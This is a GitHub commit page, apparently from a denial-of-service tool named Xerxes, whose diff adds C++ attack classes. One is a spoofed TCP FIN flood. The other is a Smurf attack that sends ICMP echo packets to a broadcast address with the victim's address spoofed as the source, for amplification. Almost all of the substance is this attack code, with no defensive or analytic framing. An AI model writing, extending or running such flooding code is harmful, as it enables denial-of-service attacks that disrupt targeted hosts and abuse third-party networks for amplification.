-
Notifications
You must be signed in to change notification settings - Fork 108
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
f6d54e3
commit 323ba06
Showing
10 changed files
with
76 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#include "fin_flood.h" | ||
|
||
fin_flood::fin_flood(std::shared_ptr<Config> config) : spoofed_tcp_flood(std::move(config)) { | ||
|
||
} | ||
|
||
void fin_flood::finalize_hdr(tcphdr *tcp, iphdr *ip) { | ||
tcp->th_flags = TH_FIN; | ||
spoofed_tcp_flood::finalize_hdr(tcp, ip); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
#ifndef XERXES_FIN_FLOOD_H | ||
#define XERXES_FIN_FLOOD_H | ||
|
||
#include "spoofed_tcp_flood.h" | ||
|
||
class fin_flood : public spoofed_tcp_flood{ | ||
|
||
public: | ||
explicit fin_flood(std::shared_ptr<Config> config); | ||
~fin_flood() override = default; | ||
|
||
protected: | ||
void finalize_hdr(tcphdr *tcp, iphdr *ip) override; | ||
}; | ||
|
||
|
||
#endif //XERXES_FIN_FLOOD_H |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
#include "smurf.h" | ||
|
||
#include <arpa/inet.h> | ||
|
||
smurf::smurf(std::shared_ptr<Config> config) : icmp_flood(std::move(config)) { | ||
|
||
} | ||
|
||
void smurf::finalize_hdr(icmphdr *icmp, iphdr *ip) { | ||
icmp->type = ICMP_ECHO; | ||
icmp->code = ICMP_NET_UNREACH; | ||
ip->daddr = inet_addr(config->bcast.c_str()); | ||
ip->saddr = inet_addr(config->rhost.c_str()); | ||
icmp_flood::finalize_hdr(icmp, ip); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
#ifndef XERXES_SMURF_H | ||
#define XERXES_SMURF_H | ||
|
||
#include "icmp_flood.h" | ||
|
||
class smurf : public icmp_flood{ | ||
|
||
public: | ||
explicit smurf(std::shared_ptr<Config> config); | ||
~smurf() override = default; | ||
|
||
protected: | ||
void finalize_hdr(icmphdr *icmp, iphdr *ip) override; | ||
}; | ||
|
||
|
||
#endif //XERXES_SMURF_H |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters